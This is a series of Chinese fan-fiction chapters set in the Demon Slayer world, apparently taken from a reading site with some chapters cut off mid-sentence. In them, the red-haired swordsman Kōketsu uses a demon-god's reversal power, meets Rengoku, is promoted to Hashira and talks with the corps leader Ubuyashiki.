没等红诀回答,受伤的剑士也看清了他身上的鬼杀队服,他有些涣散的眼神霎时间重新变得明亮,“太好了……真是太好了……” 眼泪从他深陷的眼窝中不断落下,巨大的惊喜冲散了他紧绷的神经,他一些松懈下来,像是再坚持不住地往下倒。 红诀一个箭步上前扶住他倒下的身躯,手下的身躯消瘦,胸腔正大幅度地起伏着,他能感觉剑士的生机在不断流逝。剑士也知道,他像是回光返照,断断续续地交代一些事项。 “下弦死了……对吗?” “嗯。” “救援会来吗?” “会。”阿黑已经去寻求救援。 “这些人……” 剑士看着眼前年轻的红发少年,神色中带着解脱和遗憾,他猛地咳嗽一声,呕出不少夹杂内脏碎片的血。看着挣扎的他,红诀握住他颤抖不已的双手,安抚地说—— “先不要说话了。” 红诀阻止其耗费生机的行动,他在心底默念:马尔巴士。 [我知道了,我帮你盯着。你放心,只要能维持住他的生机,撑到救援就不会死。] 蓝色魔神一双魔眼开始紧盯自家宿主身上的两股力量。得到马尔巴士的肯定,红诀深吸一口气,抬手轻轻抚摸剑士的胸口。 红发少年后颈的八芒星阵开始闪烁,无形的力量开始蔓延,由后颈到手臂,再经由少年的手汇入剑士体内。 逆转之力开始运转,那是很神奇的感觉。 当力量开始运转的那一刻,红诀在感受自身体力流逝的同时,双眼中却又能看到剑士体内的生命力量。金色的逆转之力在剑士体内转了一圈,绕着绿色的生命力量慢慢形成了一个八芒星底的时针图案,图案形成的那一刻,涣散的生命力量得到稳固,像被吸引一样,重新回到剑士体内,维持在心脏周围,并顺着血管不断游走。 [成了。]图案形成的那一刻,紧盯着两股力量的马尔巴士也松了一口气,愿力的修复速度不赖,在红诀动用力量的那一刻,无形的规则之力再度降下,再次与愿力展开争锋,但好在愿力给力,在完成逆转的那一刻也没让规则之力占上风。 [幸好你来得及时,再晚两天,就算你用逆转之力,这个剑士也没救了。]获得收获的马尔巴士无奈地说,[毕竟你获得的不是完整的魔神之力。] 剑士体内的时针图案在一点一滴地向前推动,像是某种倒计时。 [逆转之力脱离了你的身体就会逐渐消散,等到这个指针回到原点,逆转之力带来的维持效果也就消失。] [能坚持多久?] [两天左右,逆转之力并不能起到治疗的效果,小子,你现在只是维持住这个剑士不再恶化的趋势,等同于你短时间内暂停了他的时间。] 在这个世界里,规则所附加的限制太多,完整的魔神之力下,就算濒死的人都能瞬间活蹦乱跳;而现在,这个剑士能否能顺利活下来,就要看这里的医疗条件了。 在善于发现真实的魔眼下,这个剑士被使用逆转之力后,他的生命线得到了延续。再晚一点,就算红诀能维持他的生机,这里的医疗条件也救不活他。 “我……”被阻止说话的剑士还想继续交代,却发现自身的身体并没有之前那么疲惫,摸不清头脑的他看着扶着他的少年。 难道是太高兴了? “救援马上就到,你先休息一下。”红诀把身上香奈惠给的药包拿了出来,对着剑士的伤腿处重新进行包扎,还喂了他一个药丸,那是蝴蝶姐妹研制的,可以缓解伤痛的药丸。 熟悉的安神气味袭来,安抚着剑士紧绷的神经,疲惫感顿时涌了上来。他并不想睡过去,因为一旦睡着还不知道能不能醒,但太舒服了……这种感觉…… 昏睡的欲望中,他看着眼前依旧关怀他的少年,少年虽然并不强壮,但却意外有种安心感。视线不断模糊,终究欲望战胜了理智,他眼前一黑,陷入了昏睡中。 [我能在两天后再次对他使用吗?]红诀看着昏睡的剑士,在心底对着魔神问。 [可以,但你下次使用的代价就不是现在这样的感觉了。]马尔 18.少年与目标 《红诀[鬼灭]》全本免费阅读 微风轻抚,簌簌风声中夹杂着热闹的人声,空气中弥漫着花香和青草的气息。停泊在岸边的小船正随着水波摇晃,让人昏昏欲睡。 红诀一觉醒来,已经到了下午。这一觉睡得很长,虽在僵硬的船舱内睡着,但也好好恢复了他见底的体力。他坐着活动了四肢关节,伸了个懒腰,刚坐起来,他才发现自己身上还有一件外套。 听见船舱内的动静,一直候在外面的岛中也掀开帘子进来。红诀身上的外套是他的,为了不打扰红诀休息,他到岸也没叫醒他,一直守在外面。 “你醒了?睡得还好吗?” “很好,谢谢你的外套。” “客气啥。” 岛中没好意思地挠了挠自己的头,昨夜他心惊胆战地回村,一路上生怕又有第二个水鬼,好在一路平静,没什么危险。回村后他就紧急寻找自己的雇主,把一路上的情况都告诉了他们。 不过等他说完不一会,有只乌鸦就飞回来喊话了,说什么下弦,急需救援什么的。那些鬼杀队一听马不停蹄地就召集人手坐船前往废村。他看人那么多,也就跟着去了。 只是没想到,废村会有那么多伤员,各个虚弱无比,看得他直后怕,要不是没有那个红发少年,他恐怕也是那些人的一员。 废村的事情闹得很大,村子的人看到被送回来的伤员,有几个直接当场崩溃。以往抱着出村闯荡心思的年轻人不少都在其中,那个废村不知道引诱多少人。 红诀和岛中没有多聊,他在废村只和隐的人大致交代了情况,现在被救的伤员如何,废村又是怎么处置的,他想去了解一下。 还在隐的人员都聚集在岸边,红诀出去的时候就看到了熟人,是渡边虎次郎,最终选拔负责他的隐。 “渡边。”见到熟人,红诀很开心,他上前拍了下正在看伤员目录的隐。 “吓我一跳!”渡边虎次郎还是带戴着属于隐的黑白条纹面罩,“你醒了,身体情况如何?” 比起惊喜的红诀,他在随着大批隐来到这里善后时就已经听过他的大名了。听说废村那是个下弦,被一个红色头发的甲级队员解决了。一听到红色头发,他就想起了最终选拔的红诀,结果到这一看,果然是他。 当初的预感不错,这小子是个不简单的。不到半年已经是甲级队员了,现在还消灭了下弦,铁板钉钉是个准柱级了。 渡边眼中带着欣慰,他也是认识了柱了。红诀没读懂他眼中的含义,他拍了怕自己的胸口,表示自己的身体没什么问题,后还一脸认真地询问废村的后续。 说到正事,渡边也有点头疼,手上的伤员目录也有点烫手。这次的废村事件死伤太多了,渔女村先前大多数出门闯荡的年轻人大多步入了恶鬼的魔爪,得知这件事的村长直接接受不了晕了过去。 后院那里的尸体也难以辨认,只能从伤员里面去询问那些人的身份。幸存的伤员伤势不是特别严重,除去还在昏迷的几个,其他也能开口说话,不过心理创伤很严重,要恢复正常的生活还需要很长的时间。 单是辨认身份这一环就很艰难了,这事闹大后,官方也下场,他们鬼杀队又不被承认,后续还有很多麻烦。他都快转成浆糊了。 “不过,还是要谢谢你,如果没有你,那个下弦的手段不知道还有持续多久,好在他死了。”渡边虎次郎感激地拍了拍红诀的肩膀。没有红诀解决掉下弦,废村的真面目也不会正在展露在世人面前。 “伤员们都在感激你呢,你不去看看?” “我就不去了。” 知道后续情况不错,红诀就已经满足了。他不擅长接受夸奖,就不过去了,想起乌泱泱的场面,脸薄的他红着脸摇摇头。 看出红诀的窘迫,渡边也提起逗他的念头:“真不去,要不要我给你转播他们是怎么夸你的?” 说罢不等红诀回答,渡边开始重复那些人夸赞的话语,惹得红诀羞红了脸捂住他的嘴。 “好了好了,不逗你,去吃点东西吧。你的肚子都响了很久了。” 渡边有事在身,也不好和红诀聊太久。两人聊了一会,红诀就和渡边道别,他打算去村口的拉面摊,他已经记挂很久了。 临别时,渡边高声对他说:“对了,恭喜你了,红诀,下次见面就是柱了。” 对了,他已经达到柱的标准了。 红诀听完一愣,和沼田在拉面摊的约定就在前几天,他以为还要再努力一段时间。没想到,就几天过去,他就已经达到了目标。 成为柱的标准有两个,一是必须为甲级队员,二是在此基础上斩灭50只鬼,或者消灭十二鬼月之一。从未遇到十二鬼月的红诀以为自己要多进行任务,才能达到50只鬼的标准。没想到这次任务是十二鬼月,直接满足了条件。 目标达成得太快,一直被他所延后的问题也终于追上了他。 成为柱后,你的目标又是什么呢? 迷茫的红诀边想着边大口吃着拉面,海鲜拉面很好吃,带着红诀从未品尝过的浓郁汤底,又把他游离的思绪拉了回来,一口气就吃了十碗,连汤底都喝了个精光。 正当红诀准备付钱离开时,一名手上包扎着绷带的少女犹豫地上前。少女是这次废村事件的幸存者,她受得伤并不重,所以在伤员营帐中还能正常行动。她来找红诀,是来送信的。 田中在得到照料后曾短暂地清醒过一段时间,他很感激红诀,要知道当他昏睡过去的那阵,他都已经认定自己已经要死了,只是没想到自己还能醒来。短暂的清醒时间内,明白鬼杀队流程的他知道红诀很快就会离开,奔赴下一个任务点。 强撑着的他努力写了封信,托少女帮她带给红诀。好在红诀并没有走远,少女问了人就知道他在拉面摊。少女递给红诀的信 19.少年与新朋友 《红诀[鬼灭]》全本免费阅读 万里无云的晴空下,一只戴着紫色围巾的鎹鸦穿梭在山林之中,它娴熟地躲避障碍物,没入墨绿的树荫间,小小的身体若隐若现。鎹鸦穿过茂密山林,最终停留在深山中一处幽静的宅院里。 啪地一声,院中水池中的竹筒轻砸了一下水面。鎹鸦停在院中的木板上,亲昵地蹭着一名黑发紫眸的男子。男子身穿淡紫色和服,面容清秀俊朗,嘴角含笑,只不过左眼到额头处有斑驳的暗紫色疤痕,一直蔓延至眉上。 男子名为产屋敷耀哉,是鬼杀队的现任主公。产屋敷一族身负诅咒,诅咒会侵蚀人的身体,使其病弱寿命不长。产屋敷一脉,男子大多活不过三十岁,产屋敷耀哉也是如此。背负责任和诅咒的他甚至不能挥刀,只能在诅咒的侵蚀下度日。 戴着紫色围巾的鎹鸦会通人言,低沉的嗓音,缓慢有力地交代着下弦叁的事情。听完报告,男子平静的紫眸多了几分感伤和惊喜。 “渔女村的事情,我很遗憾。”男子的声音轻柔,带着特殊的节奏,对废村事件造成的伤亡感到悲伤,他从身侧的木箱中一一拿出几封带着姓名的信封。 信封的封面上,写的正是在废村事件牺牲的剑士们,这是每位剑士加入鬼杀队前亲手写下的遗书。以人类血肉之身面对难以消灭的恶鬼,每一个队员都做足了牺牲的心理准备。 产屋敷耀哉记得每一位剑士的生平,无力亲自上阵杀敌的他,能做的也只是记住每一位奋力拼搏的剑士们了。 “最近几届的剑士都很努力,看来,柱的席位要再多几个了。”男子吩咐着鎹鸦向现役的柱传令召开新的柱合会议,同时也给满足晋升资格的甲级队员发送邀请。 鎹鸦收到指令很快便飞走,看着远去的鎹鸦,产屋敷耀哉摩挲着手指,自言自语道:“预言中的变数已经到来,下弦既出,产屋敷一族的宿命,能否在这一代终结呢……” *** 另一边,渔女村。 看完信的红诀没再停留,剩下的事情交给隐就好。收拾完的他即将离村,准备前往下一个任务地点。天上的阿黑鸣叫着指引红诀向北走,前往北方的一个城镇。 这次的任务地点为北禾县,近期因为多人坠井引得人心惶惶。红诀到的时候已经接近半夜,周围的商铺都已经熄灭了灯光。 那口井位于北禾县中心,周围都是鹅卵石铺成的平地,外围已经被封锁起来,禁止人入内。 红诀跨过封锁绳,缓步往前走去,黑漆漆的井口此时正发出一些声响。他探头往里看去,只见一片漆黑中,似乎有火光闪过,还有打斗的声音。 “炎之呼吸,一之型,不知火。” 察觉气息的靠近,红诀下意识后退了一步,漆黑的井口中突然蹦出来一个长满青苔的恶鬼,他慌不择路地奔逃,像是在害怕后面的什么。 在他身后,一道宛若烈焰的刀光紧随其后,将恶鬼施展的血鬼术尽数斩断。 青苔恶鬼看着眼前挡路的红诀,凶神恶煞地伸出利爪,叫嚣着喊道:“小鬼!别挡道!” 利爪在血鬼术的加持下像是粹了毒,带着难闻的气味。面对突然起来的攻击,红诀轻轻偏头一避,几缕稍长的发丝被利爪挥断,他流畅地转腰踢击,砰地一声,巨大的冲击力带着闷响,直接把恶鬼踢到空中。 强烈的踢击使恶鬼口吐青色的血液,双眼瞪大,似乎没想到刚逃出虎口,又进了狼窝。底下轻轻一击的红发小鬼还意外地看着飞在半空中的他,像是在不解他为什么这么弱。 那过于单纯直接的眼神直接刺痛了恶鬼的内心,他气愤地发动血鬼术,无数青色的孢子在他身上聚集,目标明确地指向红诀。 就在青苔恶鬼即将发动血鬼术的那一刻,井口处霎时间跃出一道灿烂的火光,由下至上,以极快的速度袭向恶鬼的脖颈,瞬间将其斩断。 “炎之呼吸,二之型,烈炎滔天。” 下意识进行反击的红诀还不知道发生了什么事,就看到恶鬼在空中逐渐消散,灿烂的火光消失后,一个橘红色的猫头鹰少年轻巧落地。在他的感知中,属于恶鬼的气味已经消散,取而代之的是温暖的太阳气味。 收刀声响起,未知的少年转过身来,红诀才看清少年的模样。 猫头鹰少年穿着鬼杀队队服,有一头蓬松的橘红色长发,发尾带红,很有特色的眉毛和橘红色双眸,看起来精气神十足。 两人一个照面便面面相觑,似乎都没想到会在这里碰到其他人。 两人之中最先开口的是猫头鹰少年:“初次见面,你好!我是炼狱杏寿郎!” 少年声音洪亮爽朗,两眼炯炯有神,阳光的气质一下便让人心生好感。只是刚脱离战斗,身上的斗志依旧昂扬,整个人有种说不出的锐利。 “你好,我是红诀。” 两人身上的鬼杀队服为彼此证明了身份,天上盘旋的两只鎹鸦也凑在一块,叽叽喳喳地在沟通了什么。简短的沟通过后,红诀才明白了情况。 名为炼狱杏寿郎的少年在路过北禾县时恰巧被恶鬼袭击,被拖下井的他在一番战斗后,顺道也解决了恶鬼,正好遇上了正来执行任务的红诀。 “恶鬼已经解决了,井下的人们也已经获救了,我稍后会和隐交代下情况。”炼狱杏寿郎非常有效率地处理了后续的一切,气势十足的模样,让红诀下意识跟着他左右走动。 隐很快便来了,和炼狱杏寿郎交流后也下井去调查情况。一时间内,地上又剩下了红诀和他两个人。 不知道红诀为什么要跟着他的炼狱杏寿郎直盯盯地看着他,而慢一拍的红诀也没有转移视线。寂静的夜空下,两名少年直勾勾地看着对方,双方都没有觉得有什么尴尬的地方。 看着眼睛转也不转盯着他的炼狱杏寿郎的红诀,红诀总算反应过来,他下意识地说:“要去吃拉面吗?” “啊。”说出口红诀便捂住了嘴,太顺口了。刚刚脑里的想法就是没有任务了,但拉面的环节不能省略,就这样说出来了。 “好!”面对红诀的无厘头的询问,炼狱杏寿郎眼睛一亮,竟然直接应了下来。 20.少年与现役柱 《红诀[鬼灭]》全本免费阅读 柱合会议,是鬼杀队现役的柱在主公大人的主持下,以半年为期,定期召开的会议。参与人员只有柱和主公大人,除去特别事件发生,一般都是半年开一次,通常是交流信息和处理些矛盾和纠纷。 红诀这次参加的柱合会议属于定期的柱合会议,时间凑巧,新晋升的柱也一同在柱合会议与其他现役柱见面。 这次新晋升的柱有两名,红诀和蝴蝶香奈惠。半年前红诀在蝶屋遇到香奈惠的时候,她就已经是乙级队员,这半年里,红诀从戊级直升到甲级,香奈惠也从乙级升到甲级,满足了成为柱的条件,属于天赋之内的稳扎稳打。 红诀再次来到了蝶屋。两次到达蝶屋,他居然都不是因为受伤而来。这次的蝶屋很是安静,病房都空荡荡的,蝴蝶姐妹中也只有要去参加柱合会议的姐姐香奈惠在。 红诀要成为柱的消息也已经在友人间传了个遍,最先传信道贺的是信息最灵通的沼田,其次是锖兔和义勇两人。锖兔得知消息还是沼田告诉他的,也不知道沼田哪来的消息渠道,几乎就是在红诀收到传令不到一会,他的信件就到了。 几天没见,一起月下举碗立志的小伙伴就完成了目标,沼田也是哭笑不得,不知道找谁说理了。郁闷是郁闷,但沼田也是第一个和红诀道喜的,他还透露了一些小道消息和技巧,让红诀去参加柱合会议不要紧张。 通过沼田信件培训的红诀胸有成竹,他跟随阿黑的指引来到了蝶屋,准备和香奈惠一起前往鬼杀队总部。 穿过熟悉的蝴蝶群和庭院,红诀就看见站在蝶屋门口的的香奈惠,她穿着蝴蝶花纹的羽织,正低头和一个穿着和服的女孩说话。 女孩看着比红诀还要小,但面容上和蝴蝶姐妹却是意外有些相似,都是黑色的长发和紫色的双眸。女孩看起来呆呆的,亦步亦趋地跟着香奈惠。 “香奈惠。” “是红诀啊,你来了。” 听到红诀的喊声,香奈惠也转过身来和他打招呼,她身后的女孩也愣愣地看着红诀,一言不发。 “这是香奈惠和忍的妹妹吗?” 香奈惠听到红诀的疑问笑得很温柔:“很像对不对,嗯嗯,香奈乎的确是我们的妹妹。” 躲在香奈惠身后的女孩似有所感,悄悄更贴近了香奈惠一点。 女孩名叫栗花落香奈乎,是蝴蝶姐妹前阵子从人贩子手中收养的女孩,比蝴蝶忍小两岁,因长期受到虐待,她的内心比较封闭,非常不善于表达自己的想法,但很亲近收养自己的蝴蝶姐妹。 时间快到了,负责指引他们前往产屋敷宅邸的隐也赶到了门口。即将出发,香奈惠俯下身子温柔地跟香奈乎说:“香奈乎,在这里等姐姐回来吧。” 收到香奈惠温柔的指令,栗花落香奈乎呆呆地点了点头,她听话地转身离开,消失在蝶屋的长廊里。看着两人已经准备就绪,负责指引的隐也开口道:“两位大人随我们来吧。” 产屋敷宅邸藏于深山之中,意外地离蝶屋并不算远,但很隐蔽。一踏入宅邸,第一个感觉就是空旷,宅邸很大,还配有庭院,但人很少,很是安静。 穿过石门,铺满石子的庭院上已经等候着两人,一个是红诀和香奈惠很熟悉的岩柱。站在岩柱身旁的是一个和悲鸣屿行冥差不多高的男人,穿着无袖的鬼杀队队服。 白色的长发束在脑后,镶着宝石的头带,暗红色双眼,左眼处还有红色纹身,应该是现役柱中的另一位,音柱宇髓天元。 察觉到来人,两位柱也过来打招呼。现役的柱中,只有他们还依旧活跃在前线,除去未到场的炎柱,其他柱已经开始引退。 现在的鬼杀队很需要新鲜的血液,这次柱合会议有新人加入,宇髓天元也很好奇是怎样的人。岩柱是最先和红诀两人打招呼的,他口中轻念叨着阿弥陀佛,轻轻拍了下两人的肩膀。 “让我看看,这次的新人是谁?”宇髓天元凑近红诀,仔细地看了几眼。 “很年轻嘛,还有蝴蝶屋的。” 香奈惠柔声笑道:“音柱大人,我是蝴蝶香奈惠,以后就多多指教了。” 红诀也点头:“我是红诀,以后多多指教。” 看着很懂事的两人,宇髓天元满意地点点头,“都是同僚,日后就让我们一起华丽地相处吧。” 眼前的宇髓天元嘴里说着华丽,浑身开始散发着自信的风采,让红诀一下想起沼田信中的内容,认同地点了点头,音柱果然就像沼田所说的,是个相当自信华丽的大帅哥。 岩柱还是老样子,一身袈裟面带悲悯,他无神的眼睛看着红诀和香奈惠,心里也多了些感慨。 两个月前那次蝶屋会面还近在眼前,眼前的两人却有了不一样的变化。 蝴蝶香奈惠一路是怎么走来的,他都一一看在眼里。当初他看到一路找来的蝴蝶姐妹两人,第一反应便是拒绝。与恶鬼作战,一不小心就是死亡。他不会让年纪尚小的她们去与恶鬼搏命。但她们姐妹两人最终还是以恒心打动了他,他遵循她们的意志为她们介绍了培育师。 香奈惠加入鬼杀队以来,作出了很多贡献,蝶屋也好,勤恳执行任务也罢。她温柔善良的外表是一颗常人无法比拟的恒心,心之眼之下的香奈惠有花朵一样的美丽也有小草般顽强的意志。 比起稳扎稳打的香奈惠,红诀更是再一次打破了他的想象。只是短短两个月,他就已经站在了他的面前。即使之前已经见识过他的天赋,这种晋升速度也着实惊人。 他也听说过了,渔女村一案伤亡严重,更有下弦出没,下弦贰诡异又无声无息的幻术更是鲜少听闻。迷惑视线,让人根本分不清眼前的人是人还是鬼,这样的困境,极其考验人的内心。 或许他还是低估了红诀的战斗天赋。 “你们很棒,其实我以为这一天不会这么早到来。” 面对长辈一样岩 21.少年与会议 《红诀[鬼灭]》全本免费阅读 香奈惠和红诀都是第一次参加柱合会议,并不清楚会议会有什么内容。两人听着宇髓天元和悲鸣屿行冥两人不紧不慢地汇报关于鬼的情报。 他们两人汇报的大多数是关于十二鬼月的情报,相比与上弦,下弦其实并不少见,几百年来轮换得也很快。但上弦的信息却是寥寥无几,相传上弦之鬼几百年来几乎没有轮换过,十分稳定,实力未知。 “关于下弦叁的后续,隐的人已经处理完了。”宇髓天元不紧不慢地说,因为是忍者出身,在情报收集和处理方面,他得心应手。 “从获救的人们的口中得知,在被下弦叁囚禁的日子里,负责给他们粮水的是一名老人。” 啊,是前院已经去世的那位,红诀想起了那位端坐在椅子上的老者。 老人总是会在适当的时候给予被困的人一些存活下去的粮水,每次来都小心翼翼,生怕被下弦叁发现。根据幸存人们的描述,这位老人应该和下弦叁有种莫名的联系。 事后通过对老者的屋子进行搜索,找到了老者的笔记,通过笔记得知,二人的关系是兄弟关系。老者名叫山本清,是下弦叁山本明的弟弟,山本明从小就与常人不同,对于寻常的道德伦理难以理解和沟通,时常困于自己的世界里,被父母忽视。只有弟弟山本清会时常和他黏在一起。 虽然父母忽视哥哥,但基本的生活都没亏待,兄弟俩的关系也不错。只是在一个雨夜后,一切就都发生了改变。 “山本清的笔记中,那个雨夜后,山本明就消失不见了,村子里也接二连三有人失踪死亡,渐渐地,村子有了谣言,说是触怒神明了,不断有人搬离废村。” “山本一家也是如此,但在他们即将离开村子的那个夜晚,失踪的山本明回来了。” 山本清那本破旧的笔记上写道,‘我对失踪哥哥的归来很开心,但哥哥变得很不对劲,他双眼赤红,杀掉了爸爸妈妈,并把他们都吃了。’ 吃掉父母的山本明并没有对山本清下手,他的归来就好像只想要留住能和他一起玩的弟弟,自此,弟弟山本清就被囚禁于废村之中,几十年来只能看着哥哥山本明的恶行毫无办法。 “很奇怪的是,为什么山本明不把山本清同样也变成恶鬼,关于这一点山本清的笔记中也没有解释。”宇髓天元不解地摊开双手,“不过,山本清的笔记也留下了很重要的线索,他一直在调查那个雨夜前后究竟发生了什么事情,导致哥哥山本明变成了恶鬼。” 通过不断的回忆,山本清想起那个雨夜前,村里突然来了个旅行商人,他带来了很多精美的工艺品。山本清也拉着哥哥去凑过热闹。 ‘那是哥哥除了对蚂蚁外第一次对其他事物产生了强烈的兴趣。旅行商人的商品中,有个样式独特的玉壶,我觉得那个壶很丑,但哥哥却格外感兴趣。但玉壶的价格昂贵,最终我也只是拉着哥哥在旁边看着。’ “这是山本清思来想去觉得最突兀的点,就是旅行商人带来的玉壶。”宇髓天元总结道,“但难办的是,山本清对于玉壶的模样也忘记了,只能说这个线索很模糊。” 产屋敷耀哉笑了笑:“不必灰心,有线索总好过没有,这也是个值得追查的要点。”他叮嘱四人,在后续的任务中,可以注意关注有关壶的情报。 “隐也上传一份不寻常的报告。”产屋敷耀哉正色道,“鬼杀队所执行的任务中,有关于一个名为万世极乐的宗教在很多事件中都有影子。” “关于这个宗教,香奈惠应该也有所耳闻。”产屋敷耀哉看向香奈惠,他了解各个队员的任务情况,也知道香奈惠也在追查此事。 “是的,主公大人。”香奈惠缓声道,她所接触的任务中,也多次出现与极乐有关的物品及痕迹,巧合太多,她也有所关注,但目前还没有什么有用的情报。 极乐?红诀也想起了那天和沼田鸣一起看的那份报纸,还有那个地点。 看着红军恍然大悟的样子,产屋敷耀哉也来了兴趣,“怎么了,红诀,有什么情报吗?” 对于主公的询问,红诀也将那天的报纸及地点告诉了众人,但奇异的是,香奈惠却完全不知道此事。 “那份报纸我看过,上面的照片并没有带有极乐的字样。”香奈惠也定期看报纸,但却和红诀所看到的完全不一样。 对于不同的描述,产屋敷耀哉也陷入沉思,看来这个万世极乐教很不简单。他吩咐香奈惠继续追查此事,红诀也在一边协助,只要能摸到十二鬼月的尾巴,任何线索都不能错过。 不知道仁田所追查的事情是否和万世极乐教有关,红诀打算等柱合会议后写信询问下。 除去下弦叁和万世极乐教的情报,剩下也只是些总结和各部门的变动。柱要负责的工作很多,不止要负责解决强大的恶鬼,还需要负责一些后勤部门的统筹。比如医疗方面正式由香奈惠接手,情报方面由宇髓天元负责。岩柱悲鸣屿行冥也负责与紫藤花之家的对接工作。 知道自己的同僚身兼多职,红诀突然对自己单纯只会杀鬼变得迷茫起来了。 好强啊,大家。我能做些什么呢? 红诀想得脸都皱成一团,满脸纠结,惹得一边的宇髓天元充满兴趣着拍打着他的后背。柱合会议已经到了尾声,香奈惠也被主公大人叫走,只剩红诀三人还站在院内。 “纠结什么呢?” 红诀很坦诚:“我好像只会杀鬼,不像宇髓先生你们一样,还能做些别的。” “我这么华丽的人,自然是要更强一些。”宇髓天元不谦虚地自夸着,对红诀的纠结解读为对自己的夸奖。 悲鸣屿行冥则是安慰道:“所有的工作都要在摸索中才会得心应手,不必着急,红诀。” 他也一样,也是成为柱后才开始逐渐负责紫藤花之家的,每个柱之间也有工作对接,并不会单独说由一个人完全主导。毕竟,鬼杀队长期存在的原因,靠的就是彼此间的互助扶持。 “对了,刚刚说要掰手 22.少年与主公大人 《红诀[鬼灭]》全本免费阅读 随着产屋敷耀哉的话音落下,红诀也一愣。他知道鬼舞辻无惨的存在,却没想他和鬼杀队主公还有这样的关系。眼前的男子紫色双眸中仍是平静,像是红诀对此话作出什么回应他都能接受一样。 如此坦诚的透露,红诀不由心想,外面三人是否也知晓。 “悲鸣屿行冥他们也已经知晓,你不必担心。”似乎有读心术一样,产屋敷耀哉平静地回道,他并不会瞒着这件事情。产屋敷一族与鬼舞辻无惨的关系,注定彼此的宿命便是不死不休。他与剑士们坦诚,也是在表明绝对的立场,用人的第一前提便是信任。 无法奔赴在斩杀恶鬼前线的他,面对剑士们始终抱着歉意。曾几何时,他也试想着亲自挥刀与剑士们一起,抵抗恶鬼,但孱弱的身躯却给他沉重的现实打击。带着歉意与无力,他不会瞒着这一秘辛,鬼杀队的剑士们和主公的关系,应是互相平等,彼此互助前行的。 加入鬼杀队的剑士,或多或少都要自己的目标和意志,或是报仇,或是帮助他人,都是一群非常善良和优秀的孩子,他对他们报以敬意。产屋敷一族的宿命注定他也不会活得长久,身体内的诅咒在无时不刻地蔓延,他也只能在有限的生命里做更多的事情。 为了能消灭鬼舞辻无惨,他这破烂的身躯也只是棋子一枚罢了。 产屋敷一族拥有预知之力,可以预知未来局势中的变数。眼前的红发少年是否是预言之人,产屋敷耀哉在见到红诀的第一眼就已经确定。红诀拥有蓬勃的生命力和强大的体魄,以及纯净的内心。身为主公,他自然也知道红诀的经历,与其他人不同,他没有迫切的报仇心愿,即使不用加入鬼杀队,他依旧能活得自在快乐。 更是因为知晓这一切,他在期待红诀对于鬼杀队、对自己的态度,红诀自己内心的真正意志和愿景。 “那就大家努力把鬼舞辻无惨消灭吧。”在产屋敷耀哉平静的期待中,红诀十分自然地说道,他红色双眼依旧真诚坦然。从那双眼睛中,产屋敷耀哉看不出一点虚假。 红诀并不会认为鬼王的出现是产屋敷家族的原因,因为出现鬼舞辻无惨这一异类,几百年来产屋敷家族始终与其站在对立面,这便足够了。诅咒已经是上天给予产屋敷家族的惩罚,他珍惜他在鬼杀队结交的朋友,珍惜一起陪伴的回忆。 从废村事件后,他就已经知道自己要做什么。法那利斯与生俱来的种族天赋对他来说是福祸相依的存在,在原来的世界里,尚且还弱小的他也曾想过,如果他只是一个普通人就好了。这样他也不用在流浪中被盯上,被追捕。 但来到这个世界,他又在庆幸,自己拥有强大的战斗天赋能帮助到更多的人。他已经找到自己的价值和目标,成为柱后,也是如此,将自己的力量发挥到极致,去帮助更多的人。 “主公大人,我想帮助更多的人,想把我的力量用在它应该使用的地方。”红诀正在学会思考,直觉系的他向来都是果断行事,这一点奶奶和鳞泷都感觉到,并多次叮嘱。而现在,找到目标的红诀已经开始意识到思考的重要性。 只有思考,才能更大限度地发挥自己的力量。 而坐在他面前的产屋敷耀哉,正是一个很好的学习对象。 察觉到红诀的意志和真诚,产屋敷耀哉笑得非常温柔,连身体中的疼痛都被涌上来的喜悦所冲散,“谢谢你,红诀。”谢谢你选择鬼杀队,谢谢使用自己的力量去帮助别人。 简短的交心之后,产屋敷耀哉细细地为红诀讲述了有关上弦和鬼舞辻无惨的情报,各个部门之间的关系和作用也一并说明。成为柱后,红诀所要承担的责任也更多,一通轰炸下来,他脑袋里都是一团乱麻。 晕乎乎的他双眼放空地想,奶奶,你说红诀很聪明,是没有骗我对吧? 虽是质疑自己的思考能力,但在产屋敷耀哉的解释下,红诀也快速用自己的思维方式进行替代,吸收和变通能力也很快,是及格以上的水准。 今日过后,鬼杀队又多了两位柱级战力,沙柱红诀和花柱蝴蝶香奈惠。 两人的谈话接近尾声,产屋敷耀哉也开始呈现疲惫的姿态,他咳嗽和气喘的次数也越来越多,一旁候着的产屋敷天音眼中满是担忧。 看着虚弱的产屋敷耀哉,红诀想起了魔神之力。诅咒也是生命力量的一种,他是否能暂时缓解产屋敷耀哉体内的诅咒呢? [马尔巴士,你在吗?]想到就立马行动的红诀立刻在内心呼唤起马尔巴士来。 [在在,怎么了,有什么事情吗?]听到宿主的呼唤,马尔巴士语气虽带着不耐,但接通的速度却很快,他左右看了看红诀身边的环境,[哟,你小子升职了?] 没理会魔神语气中的调侃,红诀快速地说,[主公体内的诅咒是否可以用逆转之力进行缓解?] 魔神瞪大眼睛看了看端坐在宿主面前的男子,[当然可以,不过时效不长,你这位主公大人也是奇怪,怎么会有这种诅咒,它可是在逐渐吞噬生命力。] [你这位主公的左眼,应该已经看不清事物了。] 产屋敷耀哉的状态比表面看来还要差,要不是马尔巴士的能力,红诀都不知道诅咒对其的侵蚀已经很严重了。 [我想帮助他。] 红诀已经多次使用过逆转之力,其带来的副作用对他来说,只是暂时体力不支一段时间,并不碍事。 [你这小子,可别忽视规则之力对你的侵害。]察觉宿主不在意的心思,马尔巴士认真道。 被马尔巴士发现,红诀讪讪认错。 [上次你用完逆转之力后,我这边也研究出一些小魔法,可以脱离你这一媒介,短距离使用逆转之力。你可以不用去接触他人就能使用,当然,亲自接触会更好。] 这是马尔巴士认真考虑下进行的尝试,受世界限制,他发现真实的能力只限于宿主周边有限的范围。对于红诀所处世界的规则允许范畴,他也看不清,也无法估量,如果被他人知道红诀魔神之力的存在,会产生什么样的后果。 好心的魔神不敢拿小宿主的身体冒险,才研究出一些小魔法。关于这点顾虑,一根筋的红诀也意外地意识和理解到,没有拒绝魔神的打算。 [你照我说的做。] [好的。] 两人内心的交流在现实中也只发生了短短一瞬,发觉产屋敷耀哉的虚弱,红诀想要上前搀扶,一旁的产屋敷天音却快了他一步。 意识到自己的身体不能继续进行聊天,产屋敷耀哉也只好打 23.少年与噩耗 《红诀[鬼灭]》全本免费阅读 产屋敷宅邸的长廊里,告别红诀的产屋敷耀哉有些疲惫地倚靠在妻子产屋敷天音的身上。但还没走到后院,他突然觉得自己的精神好了几分,也有力气自己行走了,连体内的时不时折磨他的疼痛也减轻了几分。 是因为新加入两名柱这件喜事吗?总觉得自己的身体在今日的状态还不错。 